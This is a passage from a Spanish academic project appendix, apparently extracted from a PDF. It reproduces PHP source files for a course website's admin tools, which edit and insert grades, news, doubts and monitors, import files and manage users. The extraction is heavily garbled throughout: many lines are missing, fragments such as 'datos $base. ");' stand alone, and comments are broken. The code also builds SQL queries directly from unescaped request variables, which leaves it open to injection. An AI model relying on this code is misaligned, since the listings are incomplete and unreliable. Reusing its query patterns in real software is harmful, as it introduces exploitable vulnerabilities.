fecha=\"$fecha\"";
if ($result){
$msg = "Los datos han sido guardados correctamente.";
}
else{
}
mysql_close($id);
}
else {
$msg = "Debe rellenar todos los campos.";
}
if (isset($msg)) {
}
?>
</body>
</html>
2.31. /admin/editar_duda.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
Pg. 286

</td>
</td>
</tr>
</table>
<hr>
<?
if (!(isset($pregunta)) && isset($id_duda)) {
$base = $db_dudas;
datos $base. ");
$cons = "SELECT pregunta, respuesta, fecha FROM dudas where id=\"$id_duda\"";
echo "<tr><td><p class=t2>Pregunta:</p></td>";
echo "<td><textarea name=\"pregunta\" rows=\"5\" cols=\"50\">".mysql_result($res,
0,0)."</textarea></td></tr>";
echo "<tr><td><p class=t2>Respuesta:</p></td>";
echo "<td><textarea name=\"respuesta\" rows=\"5\" cols=\"50\">".mysql_result($res,
echo "<input TYPE=\"hidden\" NAME=\"id_duda\" VALUE=\"$id_duda\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
else if (isset($pregunta) && isset($respuesta) && isset($fecha) && isset($id_duda) &&
$pregunta!="" && $respuesta!="" && $fecha!="" && $id_duda!=""){
$base = $db_dudas;
datos $base. ");
$sql = "UPDATE dudas SET pregunta=\"$pregunta\", respuesta=\"$respuesta\",
fecha=\"$fecha\" where id=\"$id_duda\" ";
if ($result){
$msg = "La duda ha sido guardada correctamente.";
}
else{
}
mysql_close($id);
}
else {
}
if (isset($msg)) {
Pg. 287

}
?>
</body>
</html>
2.32. /admin/editar_monitor.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (!(isset($monitor)) && isset($id_monitor)) {
datos $base. ");
$cons = "SELECT nombre, dir FROM monitores where id=\"$id_monitor\"";
echo "<tr><td><p class=t2>Monitor:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"monitor\" SIZE=\"50\"
echo "<tr><td><p class=t2>E-Mail:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"email\" SIZE=\"50\"
echo "<input TYPE=\"hidden\" NAME=\"id_monitor\" VALUE=\"$id_monitor\">";
Pg. 288
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
else if (isset($monitor) && isset($email) && isset($id_monitor) && $monitor!="" &&
$id_monitor!=""){
datos $base. ");
$sql = "UPDATE monitores SET nombre=\"$monitor\", dir=\"$email\" where
id=\"$id_monitor\" ";
if ($result){
$msg = "El monitor ha sido guardado correctamente.";
}
else{
}
mysql_close($id);
}
else {
$msg = "El nombre del monitor es obligatorio. Debe rellenar este campo.";
}
if (isset($msg)) {
}
?>
</body>
</html>
2.33. /admin/editar_nota.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
Pg. 289
</table>
<hr>
<?
if (!(isset($alumno)) && isset($id_nota)) {
$base = $db_notas;
datos $base. ");
$cons = "SELECT alumno, nota FROM notas where id=\"$id_nota\"";
echo "<tr><td><p class=t2>Alumno:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"alumno\" SIZE=\"50\"
echo "<tr><td><p class=t2>Nota:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"nota\" SIZE=\"50\"
echo "<input TYPE=\"hidden\" NAME=\"id_nota\" VALUE=\"$id_nota\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
else if (isset($alumno) && isset($nota) && isset($id_nota) && $alumno!="" &&
$nota!="" && $id_nota!=""){
$base = $db_notas;
datos $base. ");
$sql = "UPDATE notas SET alumno=\"$alumno\", nota=\"$nota\" where id=\"$id_nota\"
";
if ($result){
$msg = "La nota ha sido guardada correctamente.";
}
else{
}
mysql_close($id);
}
else {
}
if (isset($msg)) {
}
?>
</body>
</html>
2.34. /admin/editar_noticia.php
<?php
Pg. 290
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (!(isset($noticia)) && isset($id_noticia)) {
datos $base. ");
$cons = "SELECT noticia, comentario, fecha FROM noticias where id=\"$id_noticia\"";
echo "<tr><td><p class=t2>Noticia:</p></td>";
echo "<td><textarea name=\"noticia\" rows=\"5\" cols=\"50\">".mysql_result($res,
echo "<tr><td><p class=t2>Comentario:</p></td>";
echo "<td><textarea name=\"comentario\" rows=\"5\" cols=\"50\">".mysql_result($res,
echo "<input TYPE=\"hidden\" NAME=\"id_noticia\" VALUE=\"$id_noticia\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
else if (isset($noticia) && isset($comentario) && isset($fecha) && isset($id_noticia)
&& $noticia!="" && $comentario!="" && $fecha!="" && $id_noticia!=""){
datos $base. ");
Pg. 291
$sql = "UPDATE noticias SET noticia=\"$noticia\", comentario=\"$comentario\",

fecha=\"$fecha\" where id=\"$id_noticia\" ";
if ($result){
$msg = "La noticia ha sido guardada correctamente.";
}
else{
}
mysql_close($id);
}
else {
}
if (isset($msg)) {
}
?>
</body>
</html>
2.35. /admin/importar_notas.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (isset($_FILES['fichero'])) {
if (is_uploaded_file($_FILES['fichero']['tmp_name']) && $_FILES['fichero']['size']
!= 0) {
$base = $db_notas;
datos $base.");
Pg. 292
// Fix para que funcione bien el INFILE en Windows (cambia las '\' a '/')
$_FILES['fichero']['tmp_name'] = preg_replace("/\\\\/", "/",
$_FILES['fichero']['tmp_name']);
$sql = "LOAD DATA LOCAL INFILE \"".$_FILES['fichero']['tmp_name']."\" INTO TABLE
notas (alumno,nota)";
if ($result){
$msg = "Fichero importado correctamente.";
}
else{
$msg = "Error al importar fichero: ".$_FILES['fichero']['name'];
}
mysql_close($id);
} else {
$msg = "No se ha podido subir el fichero
<i>\"".$_FILES['fichero']['name']."\"</i>. Compruebe que el path y el nombre del
fichero estn correctamente escritos.";
}
}
else {
echo "<form enctype=\"multipart/form-data\" action=$PHP_SELF method=\"post\">";
echo "<tr><td colspan=2><p class=t1>Seleccione el fichero a importar y pulse
Aceptar</p></td></tr>";
echo "<tr><td><p class=t2>Fichero:</p></td>";
echo "<td><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"2000000\"><input
name=\"fichero\" type=\"file\"></td></tr>";
echo "<tr><td> </td></tr>";
echo "<tr><td colspan=2 align=\"center\"><input type=submit value=\"Subir
fichero\"></form></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
?>
</body>
</html>
2.36. /admin/importar_usuarios.php
<?php
check_privs('usuarios_add');
?>
<html>
<head>
<title>Acceso a la base de datos: usuarios.</title>
<style>
</style>
</head>
Pg. 293

<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (isset($_FILES['fichero'])) {
if (is_uploaded_file($_FILES['fichero']['tmp_name']) && $_FILES['fichero']['size']
!= 0) {
$base = $db_notas;
datos $base.");
//
if ($fp = fopen ($_FILES['fichero']['tmp_name'], "r")) {
$contenido = file ('http://www.example.com/');
fclose($fp);
while (list ($line_num, $line) = each ($contenido)) {
echo "<b>Line $line_num:</b>; ", htmlspecialchars ($line), "<br>\n";
$line = rtrim($line, "\n");
// Quitamos el \n del final de linea
list($nombre, $usuario, $pass) = explode("\t", $line);
$result = mysql_query("insert into cuentas (user, pass, realname, modificado)
values ($usuario, $pass, $nombre, NULL)");
$perm = lee_permisos();
foreach ($perm as $key => $value) {
if (isset($defperm[$key])) {
$perm[$key] = $defperm[$key];
}
}
$campos = implode(",", array_keys($perm));
$valores = implode(",", array_values($perm));
$result = mysql_query("insert into permisos (user,$campos) values
('$usuario',$valores)");
}
} else {
}
Pg. 294
$sql = "LOAD DATA LOCAL INFILE \"".$_FILES['fichero']['tmp_name']."\" INTO TABLE

notas (alumno,nota)";
if ($result){
$msg = "Fichero importado correctamente.";
}
else{
$msg = "Error al importar fichero: ".$_FILES['fichero']['name'];
}
mysql_close($id);
} else {
}
}
else {
echo "<form enctype=\"multipart/form-data\" action=$PHP_SELF method=\"post\">";
echo "<tr><td colspan=2><p class=t1>Seleccione el fichero a importar y pulse
Aceptar</p></td></tr>";
echo "<tr><td><p class=t2>Fichero:</p></td>";
echo "<td><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"2000000\"><input
name=\"fichero\" type=\"file\"></td></tr>";
echo "<tr><td colspan=2 align=\"center\"><input type=submit value=\"Subir
fichero\"></form></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
pie("usuarios.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.37. /admin/index.php
<?php
check_privs('admin_tool');
?>
<html>
<head>
<title>Herramientas administrativas.</title>
<style>
Pg. 295

A:link {COLOR: #004433; TEXT-DECORATION: none}
</style>
</head>
alink="#004433">
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h2 align="center">Herramientas administrativas</h2>
<br>
<tr>
bgcolor="#99CCAF">
<tr>
<td colspan=3><p class=t1> Elija una de las opciones disponibles:</p>
</td>
</tr>
<tr>
</tr>
<tr>
<td>
</td>
<td width=70%>
<p class=t2>
<li><a href="logout.php">Cerrar sesión.</a></li>
<?php
$permisos = $_SESSION['permisos'];
if ( isset($permisos['chpass']) && $permisos['chpass'] ) {
echo '<br><br><li><a href="chpass.php">Cambio de contrasea.</a></li>';
}
if ( isset($permisos['usuarios_list']) && $permisos['usuarios_list'] ) {
echo '<br><br><li><a href="usuarios.php?metodo=listar">Gestión de
usuarios.</a></li>';
}
if ( isset($permisos['dudas_w']) && $permisos['dudas_w'] ) {
echo '<br><br><li><a href="admin_dudas.php">Gestión de dudas.</a></li>';
}
if ( isset($permisos['encuesta_w']) && $permisos['encuesta_w'] ) {
echo '<br><br><li><a href="admin_encuesta.php">Gestión de
encuesta.</a></li>';
}
Pg. 296
if ( isset($permisos['notas_w']) && $permisos['notas_w'] ) {

echo '<br><br><li><a href="admin_notas.php">Gestión de notas.</a></li>';
}
if ( isset($permisos['noticias_w']) && $permisos['noticias_w'] ) {
echo '<br><br><li><a href="admin_noticias.php">Gestión de
noticias.</a></li>';
}
if ( isset($db_cuestionario) && $db_cuestionario != '' &&
isset($permisos['cuestionario_w']) && $permisos['cuestionario_w'] ) {
echo '<br><br><li><a href="admin_cuestionario.php">Gestión de
cuestionario.</a></li>';
}
if ( isset($db_monitores) && $db_monitores != '' &&
isset($permisos['monitores_w']) && $permisos['monitores_w'] ) {
echo '<br><br><li><a href="admin_monitores.php">Gestión de
monitores.</a></li>';
}
?>
</p>
<br>
<p class=t3 align="right">
<?php
if ($_SESSION['realname']) {
$id = $_SESSION['realname']." (usuario <i>\"".$_SESSION['user']."\"</i>)";
} else {
$id = "<i>\"".$_SESSION['user']."\"</i>";
}
echo "Identificado como: $id.  ";
?>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
<tr>
<td width="10%" align="right"><a href="http://www.gte.us.es/~fbarrero/CSED/"><img
border=0 src="../images/atras.gif" width="17" height="16" alt=""></a></td>
</tr>
</table>
</body>
</html>
2.38. /admin/insertar_cuestion.php
<?php
Pg. 297
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (isset($cuestion) && isset($opa) && isset($opb) && isset($solucion) &&
$cuestion!="" && $opa!="" && $opb!="" && $solucion!=""){
datos $base. ");
$sql = "INSERT INTO pregunta(id,texto,solucion)
VALUES(\"\",\"$cuestion\",\"$solucion\")";
mysql_query($sql,$id) or die ("Fallo en la toma de datos.");
if ($n!=1){
$msg = "Fallo al introducir cuestin. Contacte con el Administrador.";
} else{
$sql = "INSERT INTO opciones(id,opciona,opcionb,opcionc,opciond)
VALUES(\"\",\"$opa\",\"$opb\",\"$opc\",\"$opd\")";
if ($n!=1){
$msg = "Fallo al introducir las opciones de la cuestin. La base de datos
quedar en estado inconsistente. Contacte con el Administrador urgentemente.";
} else {
$msg = "Correctamente introducido.";
}
}
mysql_close($id);
}
else {
$msg = "Los campos de cuestin, opcin a, opcin b y solucin son obligatorios.
Debe rellenarlos.";
}
?>
</body>
</html>
Pg. 298
2.39. /admin/insertar_duda.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (isset($pregunta) && isset($respuesta) && isset($fecha) && $pregunta!="" &&
$respuesta!=""){
$base = $db_dudas;
datos $base. ");
if ($fecha) {
$sql = "INSERT INTO dudas(id,pregunta,respuesta,fecha) VALUES
(\"\",\"$pregunta\",\"$respuesta\",\"$fecha\")";
} else {
$sql = "INSERT INTO dudas(id,pregunta,respuesta,fecha) VALUES
(\"\",\"$pregunta\",\"$respuesta\", current_date)";
}
if ($n!=1){
$msg = "No se ha introducido correctamente.";
}
else{
}
mysql_close($id);
}
else {
$msg = "Los campos de pregunta y respuesta son obligatorios. Debe rellenarlos.";
}
?>
Pg. 299
</body>
</html>
2.40. /admin/insertar_monitor.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (isset($monitor) && isset($email) && $monitor!=""){
datos $base. ");
$sql = "INSERT INTO monitores(id,nombre,dir) VALUES
(\"\",\"$monitor\",\"$email\")";
if ($n!=1){
}
else{
}
mysql_close($id);
}
else {
$msg = "El nombre del monitor es obligatorio. Debe rellenar este campo.";
}
?>
</body>
</html>
Pg. 300
2.41. /admin/insertar_nota.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (isset($alumno) && isset($nota) && $alumno!="" && $nota!=""){
$base = $db_notas;
datos $base. ");
$sql = "INSERT INTO notas(id,alumno,nota) VALUES (\"\",\"$alumno\",\"$nota\")";
if ($n!=1){
}
else{
}
mysql_close($id);
}
else {
}
?>
</body>
</html>
Pg. 301
2.42. /admin/insertar_noticia.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (isset($noticia) && isset($comentario) && isset($fecha) && $noticia!="" &&
$comentario!=""){
datos $base. ");
if ($fecha) {
$sql = "INSERT INTO noticias(id,noticia,comentario,fecha) VALUES
(\"\",\"$noticia\",\"$comentario\",\"$fecha\")";
} else {
$sql = "INSERT INTO noticias(id,noticia,comentario,fecha) VALUES
(\"\",\"$noticia\",\"$comentario\", current_date)";
}
if ($n!=1){
}
else{
}
mysql_close($id);
}
else {
$msg = "Los campos de noticia y comentario son obligatorios. Debe rellenarlos.";
}
?>
</body>
</html>
Pg. 302
2.43. /admin/logout.php
<?php
session_start();
session_destroy();
?>
<html>
<head>
<title>Sesión cerrada.</title>
<style>
</style>
</head>
alink="#004433">
<tr>
</td>
</td>
</tr>
</table>
<hr>
<p>
<tr>
bgcolor="#99CCAF">
<tr>
<td> </td>
</tr>
<tr>
<td width="49%">
<p class="t1">** La sesin ha sido cerrada correctamente **</p>
</div>
</td>
</tr>
<tr>
<td> </td>
</tr>
Pg. 303
</table>
</td>
</tr>
</table>
<?php
pie("", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.44. /admin/usuarios.php
<?php
// ***************
// ** Funciones **
// ***************
// Genera una contrasea aleatoria de longitud $long
function genera_pass($long) {
$chars = array();
for($i=48; $i<=57; $i++) {
array_push($chars, chr($i));
}
for($i=65; $i<=90; $i++) {
}
for($i=97; $i<=122; $i++) {
}
$passwd="";
for($i=0; $i<$long; $i++) {
mt_srand((double)microtime()*1000000);
$passwd.=$chars[mt_rand(0,count($chars)-1)];
}
return $passwd;
}
// Imprime el mensaje dado en un recuadro

function mensaje($msg) {
echo "<p><table align=\"center\"><tr><td><p
class=t1>".$msg."</p></td></tr></table><p><br>";
}
// Cabecera HTML (logotipo del GTE, etc)

function cabecera_html() {
global $nombre_portal;
?>
<html>
<head>
Pg. 304
<style>
td.t2 {font: bold 12px Verdana, Arial; line-height:15px; color:#004433; TEXTDECORATION: none;text-indent:2px}
font.t2 {font: bold 12px Verdana, Arial; line-height:15px; color:#004433; TEXTDECORATION: none;text-indent:2px}
A:link {COLOR: #004433; TEXT-DECORATION: none}
</style>
</head>
<body bgcolor="#EEEEEE" text="#000000">
<tr>
<p align="center" class=t1><img src="../images/gte_small_ani.gif" alt="Grupo
de Tecnologa Electrnica">
</td>
</td>
</tr>
</table>
<hr>
<?php
}
// Lee los nombres de los distintos campos de permisos y los devuelve ordenados
alfabticamente.
// Crea permisos nulos
function lee_permisos() {
global $defperm;
// Buscamos la entrada correspondiente al usuario "root" (se
// presupone q existe esta entrada)
$result = mysql_query("select * from permisos where user='root'");
if (!($row = mysql_fetch_assoc($result))) {
die("No existe el usuario root!!");
}
reset($row);
next($row);
permiso en s
// Nos saltamos el primer campo, q es el "username" y no es un
while (list ($key, $val) = each ($row)) {

$perm[$key] = '0';
}
ksort($perm);
return $perm;
}
// Imprime ttulo (banner)

function banner ($string) {
Pg. 305
echo "
<center><h1>
<bold>
<u><i>$string</i></u>
</bold>
</h1></center>
<br>
<p>
";
return;
// Define color de fondo de la pgina

function bgcolor ($color) {
echo "<body bgcolor=".$color.">";
return;
// Imprime cabecera de la tabla (campos de ttulo)

function print_header ($metodo, $color) {
// Leemos los nombres de los distintos campos de permisos.
// Para ello, buscamos la entrada correspondiente al usuario "root" (se
// presupone q existe esta entrada)
$result = mysql_query("select * from permisos where user='root'");
if (!($row = mysql_fetch_assoc($result))) {
die("No existe el usuario root!!");
}
reset($row);
next($row);
permiso en s
// Nos saltamos el primer campo, q es el "username" y no es un

$perm[$key] = $val;
}
ksort($perm);
";
echo "
<table border = '3' align=\"center\" background=\"../images/fondo2.jpg\">
<tr>
if ($metodo == "listar") {
echo "
<td bgcolor=\"$color\">
<b><i><center>Editar</center></i></b>
</td>
<b><i><center>Borrar</center></i></b>
</td>
";
}
echo "
<b><center>Nombre</center></b>
</td>
Pg. 306
<td bgcolor=\"$color\" >

<b><center>Usuario</center></b>
</td>
";
if ($metodo == "borrar" or $metodo == "listar") echo "
<b><center>ltima modif.</center></b>
</td>
";
echo "<td bgcolor=\"$color\"><b><center>$key</center></b></td>";
}
echo "</tr>";
return;
}
// Imprime una fila de la tabla

function print_row ($metodo, $color, $usuario, $nombre, $modificado, $perm) {
global $PHP_SELF;
echo " <tr>";
if ($metodo == "listar") {
echo "
<td align=center bgcolor=\"$color\" >
<a href=\"$PHP_SELF?metodo=editar&usuario=$usuario\"><img
src=\"../images/edit.gif\" border=0 alt=\"Edit\" width=\"18\" height=\"18\"></a>
</td>
<td align=center bgcolor=\"$color\" >
<a href=\"$PHP_SELF?metodo=borrar&usuario=$usuario\"><img
src=\"../images/delete.gif\" border=0 alt=\"Delete\" width=\"18\" height=\"18\"></a>
</td>
";
}
echo "
";
<td bgcolor=\"$color\" nowrap>

$nombre
</td>
$usuario
</td>
if ($metodo == "borrar" or $metodo == "listar") {

list($ano, $mes, $dia, $hh, $mm, $ss) = sscanf($modificado,
"%04d%02d%02d%02d%02d%02d");
echo "
";
printf("%02d/%02d/%04d - %02d:%02d:%02d", $dia, $mes, $ano, $hh, $mm, $ss);
echo "
</td>
";
}
echo "<td bgcolor=\"$color\" align=\"center\">$value</td>";
}
echo "</tr>";
Pg. 307
return;
}
// Dibuja el final de tabla

function print_foot () {
echo "</table>\n";
}
// Dibuja titulo del formulario

function user_form_tittle ($string, $color) {
bgcolor ($color);
banner ($string);
// Formulario para aadir o editar usuarios

function user_form ($metodo, $usuario, $pass, $pass_verify, $nombre, $perm) {
global $PHP_SELF;
echo "
<form action=\"$PHP_SELF?metodo=$metodo\" method=\"POST\">
<table bgcolor=\"white\" width=\"90%\" align=\"center\" cellpadding=1
cellspacing=2 border=1><tr><td>
<table align=\"center\">
";
if ($metodo == "anadir") {
$caduser = "<input type=\"text\" name=\"usuario\" value=\"$usuario\" size=16
maxlength=16>";
} else {
// metodo "editar"
$caduser = "$usuario<input type=\"hidden\" name=\"usuario\" value=\"$usuario\"
size=16 maxlength=16>";
}
echo "
<tr>
<td>
<p class=t2>Usuario:</p>
</td>
<td>
$caduser
</td>
</tr>
<tr>
<td>
<p class=t2>Contraseña:</p>
</td>
<td>
<input type=\"password\" name=\"pass\" value=\"$pass\"size=16
maxlength=16>
</td>
</tr>
<tr>
<td>
<p class=t2>Confirmar contraseña: </p>
</td>
<td>
Pg. 308
<input type=\"password\" name=\"pass_verify\" value=\"$pass\" size=16

maxlength=16>
</td>
</tr>
<tr>
<td>
<p class=t2>Nombre real:</p>
</td>
<td>
<input type=\"text\" name=\"nombre\" value=\"$nombre\" size=50
maxlength=50>
</td>
</tr>
";
echo "</table></td></tr>";
echo "<tr><td><table width=\"55%\" align=\"center\"><tr><td><p
class=t1>Permisos:</p></td></tr>";
$i=1;
echo "<tr>";
if ($value) {
$checked = "checked";
} else {
$checked = "";
}
if ($i==1) {
echo "</tr><tr>";
$i=3;
} else {
$i--;
}
echo "<td><input type=\"checkbox\" name=\"$key\" value=\"1\" $checked><font
class=t2> $key</td>\n";
}
echo "
</tr>
<tr>
<td>
<input type=\"hidden\" name=\"sure\" value=\"check\" size=2 maxlength=2>
</td>
</tr>
</table></td></tr></table>
</p>
<br>
<center>
<input type=\"submit\" name=\"enviar\" value=\"Aceptar\">
</center>
</form>
";
return;
}
// Chequea formulario
function check_form ($usuario, $pass, $pass_verify, $nombre) {
if ($pass != $pass_verify)
$code = 1;
Pg. 309
elseif ($usuario == "")

$code = 2;
elseif ($pass == "")
$code = 3;
else
$code = 0;
return $code;
}
// Manda datos "hidden" en un formulario

function hidden_form ($metodo, $question, $usuario, $pass, $pass_verify, $nombre,
$perm, $sure) {
global $PHP_SELF;
echo "
<form action=\"$PHP_SELF?metodo=$metodo\" method=\"POST\">
<input type=\"hidden\" name=\"usuario\" value=\"$usuario\">
<input type=\"hidden\" name=\"pass\" value=\"$pass\">
<input type=\"hidden\" name=\"pass_verify\" value=\"$pass_verify\">
<input type=\"hidden\" name=\"nombre\" value=\"$nombre\">
";
echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
}
if ($question == "si")
echo "
<center> <br>
<p class=t1>
Estás seguro?
S<input type=\"radio\" name=\"sure\" value=\"si\" checked>
No<input type=\"radio\" name=\"sure\" value=\"no\">
</p>
<br>
<input type=\"submit\" name=\"enviar\" value=\"Aceptar\">
</center>
</form>
";
else echo "
<input type=\"hidden\" name=\"sure\" value=\"$sure\">
<input type=\"submit\" name=\"enviar\" value=\"Volver al formulario\">
</form>
";
}
return;
// Muestra la opcin de volver al formulario y corregir error

function ask_correct ($metodo, $usuario, $pass, $pass_verify, $nombre, $perm, $sure)
{
echo "
<h4 align=\"center\">
";
Puede volver al formulario para corregir el error.
hidden_form ($metodo, "no", $usuario, $pass, $pass_verify, $nombre, $perm, $sure);

echo "
</h2>
Pg. 310
<hr>
";
return;
// Verificacin de formulario.
function verify_form ($metodo, $color, $colorA, $usuario, $pass, $pass_verify,
$nombre, $modificado, $perm) {
$error = check_form ($usuario, $pass, $pass_verify, $nombre);
// En caso de error damos la opcin de corregir formulario
if ($error) {
switch ($error) {
case 1:
$msg = "Ha escrito mal la contraseña. Escríbala de nuevo
cuidadosamente.";
mensaje($msg);
ask_correct ($metodo, $usuario, "", "", $nombre, $perm, "no");
break;
case 2:
$msg = "El campo \"usuario\" no puede estar vacío.";
mensaje($msg);
ask_correct ($metodo, $usuario, $pass, $pass_verify, $nombre, $perm, "no");
break;
case 3:
$msg = "No se permiten contraseñas en blanco.";
mensaje($msg);
ask_correct ($metodo, $usuario, $pass, $pass_verify, $nombre, $perm, "no");
break;
default:
// Error genrico
break;
}
return;
// Ok: ningn error detectado. Peticin de confirmacin antes de escribir db

if ($metodo == "anadir")
$usuario = strtolower($usuario); // El nombre de usuario es case-insensitive as
que lo
// convertimos a
minsculas
// Dibujamos tabla con los datos y pedimos confirmacin
if ($metodo == "anadir")
bgcolor (COLOR1F);
else
bgcolor (COLOR2F);
banner ("Confirmacin");
print_header ($metodo, $color);
print_row ($metodo, $colorA, $usuario, $nombre, $modificado, $perm);
print_foot ();
Pg. 311
echo "</p>";
hidden_form ($metodo, "si", $usuario, $pass, $pass_verify, $nombre, $perm, "");
}
return;
// Actualizar base de datos (ya sea con nueva entrada o modificacin de una ya
existente)
function updatedb ($metodo, $usuario, $pass, $nombre, $perm) {
// Por razones de seguridad, escapamos caracteres especiales en la query
$usuario = addslashes ($usuario);
$pass = addslashes ($pass);
$nombre = addslashes ($nombre);
// Actualiza la db
if ($metodo == "anadir") {
$result = mysql_query("insert into cuentas values ('$usuario', md5('$pass'),
'$nombre', NULL)");
if (mysql_affected_rows() == 1) {
$msg = "El usuario ha sido añadido correctamente.";
// Insercin
correcta :-)
} else {
$msg = "Fallo al añadir usuario. La base de datos de usuarios ha
quedado en estado inconsistente. Consulte con el Administrador.";
}
} else {
$msg = "No se ha podido añadir usuario. Probablemente ese usuario ya
exista.";
}
} else {
// "editar"
if ($pass == "NoCAmBiARmE") {
$cadpass = "";
} else {
$cadpass = "pass='$pass',";
}
$result = mysql_query("update cuentas set user='$usuario', $cadpass
realname='$nombre', modificado=NULL where user='$usuario'");
if ($result) {
$asignaciones="user='$usuario'";
$asignaciones .= ", $key=$value";
}
$result = mysql_query("update permisos set $asignaciones where
user='$usuario'");
if ($result) {
$msg = "Los cambios han sido guardados satisfactoriamente.";
} else {
$msg = "Fallo al actualizar datos de permisos. Consulte con el
Administrador.";
Pg. 312
}
} else {
$msg = "Fallo al actualizar datos. Consulte con el Administrador.";
}
mensaje($msg);
return;
}
// **********
// ** MAIN **
// **********
// Importamos las variables globales y funciones necesarias
// Conectamos con la base de datos de usuarios
conectar_admin();
// Colores de fondo de las distintas
define("COLOR1", "#DDDDDD");
define("COLOR1A", "#FFFFFF");
define("COLOR1B", "#EEEEEE");
define("COLOR1F", "#EEEEEE");
filas de las tablas

// Fila de los nombres de los campos (aadir)
// Fila de datos - Color A (aadir)
// Fila de datos - Color B (aadir)
// Color de fondo (aadir)
//
//
//
//
Fila de los nombres de los campos (editar)

Fila de datos - Color A (editar)
Fila de datos - Color B (editar)
Color de fondo (editar)
//
//
//
//
Fila de los nombres de los campos (borrar)

Fila de datos - Color A (borrar)
Fila de datos - Color B (borrar)
Color de fondo (borrar)
//
//
//
//
Fila de los nombres de los campos (listar)

Fila de datos - Color A (listar)
Fila de datos - Color B (listar)
Color de fondo (listar)
// Si no especificamos ningn mtodo, por defecto asumimos "listar"

if (!(isset($metodo))) {
$metodo="listar";
}
// Implementamos las distintas funcionalidades segn mtodo elegido
switch ($metodo) {
case "anadir":
/*********************/
/** AADIR USUARIOS **/
/*********************/
cabecera_html();
// Nos quitamos un "notice" por no estar seteada la variable
if (!(isset($sure))) {
$sure="";
}
switch ($sure) {
case "check":
Pg. 313

if (isset(${$key})) {
$perm[$key] = ${$key};
}
}
verify_form ($metodo, COLOR1, COLOR1A, $usuario, $pass, $pass_verify,
$nombre, "", $perm);
break;
case "si":
}
}
updatedb ($metodo, $usuario, $pass, $nombre, $perm);
pie("$PHP_SELF?metodo=anadir", "http://www.gte.us.es/~fbarrero/CSED/");
break;
default:
// "" or "no"
// Formulario
if ($sure=="") {
// Es la primera vez que mostramos el formulario: usamos permisos por
defecto

}
}
} else {
// Estamos reeditando formulario: cargamos permisos anteriores
}
}
}
isset($usuario) || $usuario="";
isset($pass) || $pass="";
isset($pass_verify) || $pass_verify="";
isset($nombre) || $nombre="";
user_form_tittle ("Añadir usuario", COLOR1F); // Dibuja el titulo del

formulario
user_form ($metodo, $usuario, $pass, $pass_verify, $nombre, $perm);
pie($PHP_SELF, "http://www.gte.us.es/~fbarrero/CSED/");
break;
}
//End Switch ($sure)
break;
case "editar":
/****************************/
/** EDITAR INFO DE USUARIO **/
/****************************/
Pg. 314
check_privs('usuarios_edit');
cabecera_html();
$sure="";
}
switch ($sure) {
case "check":
}
if ($usuario=="root") {
$perm[$key] = 1;
}
}
verify_form ($metodo, COLOR2, COLOR2A, $usuario, $pass, $pass_verify,
$nombre, "", $perm);
break;
case "si":
}
}
updatedb ($metodo, $usuario, $pass, $nombre, $perm);
pie("$PHP_SELF", "http://www.gte.us.es/~fbarrero/CSED/");
break;
default:
// "" or "no"
// Formulario
if ($sure == "") {
// Es la primera vez q editamos: leemos todos los datos del usuario de la
bbdd
$result = mysql_query("select cuentas.user, cuentas.realname,

cuentas.modificado, permisos.* from cuentas, permisos where cuentas.user =
permisos.user and cuentas.user = '$usuario'");
$row = mysql_fetch_assoc($result);
//
//
//
//
Recorremos el array saltndonos saltndonos los 3 primeros campos (user,

realname, modificado). Aunque la tabla permisos tenga otro campo "user"
ste se omite, al ya existir el campo "user" correspondiente a la tabla
de "cuentas". Por eso avanzamos 3 posiciones y no 4.
reset($row);
for ($i=1 ; $i<=3; $i++) {
next($row);
}
// Creamos el array de permisos
$perm[$key] = $val;
}
// Ordenamos alfabticamente los permisos
ksort($perm);
// Obtenemos las variables q hacen falta
Pg. 315
$pass = "NoCAmBiARmE";
$nombre = $row["realname"];
} else {
// Estamos reeditando formulario: cargamos permisos anteriores
}
}
}
// Mostramos el formulario de edicin
user_form_tittle ("Editar usuario", COLOR2F);
// Dibuja el titulo del
formulario
user_form ($metodo, $usuario, $pass, $pass, $nombre, $perm);
break;
}
break;
case "borrar":
/********************/
/** BORRAR USUARIO **/
/********************/
check_privs('usuarios_del');
$sure="";
}
switch ($sure) {
case "":
cabecera_html();
if ($usuario == "root") {
$msg = "La cuenta \"root\" siempre debe existir en el sistema. Por
tanto, no se permite su eliminación.";
mensaje($msg);
exit;
}
// Obtenemos datos de usuario
$result = mysql_query("select cuentas.user, cuentas.realname,
cuentas.modificado, permisos.* from cuentas, permisos where cuentas.user =
permisos.user and cuentas.user='$usuario'");
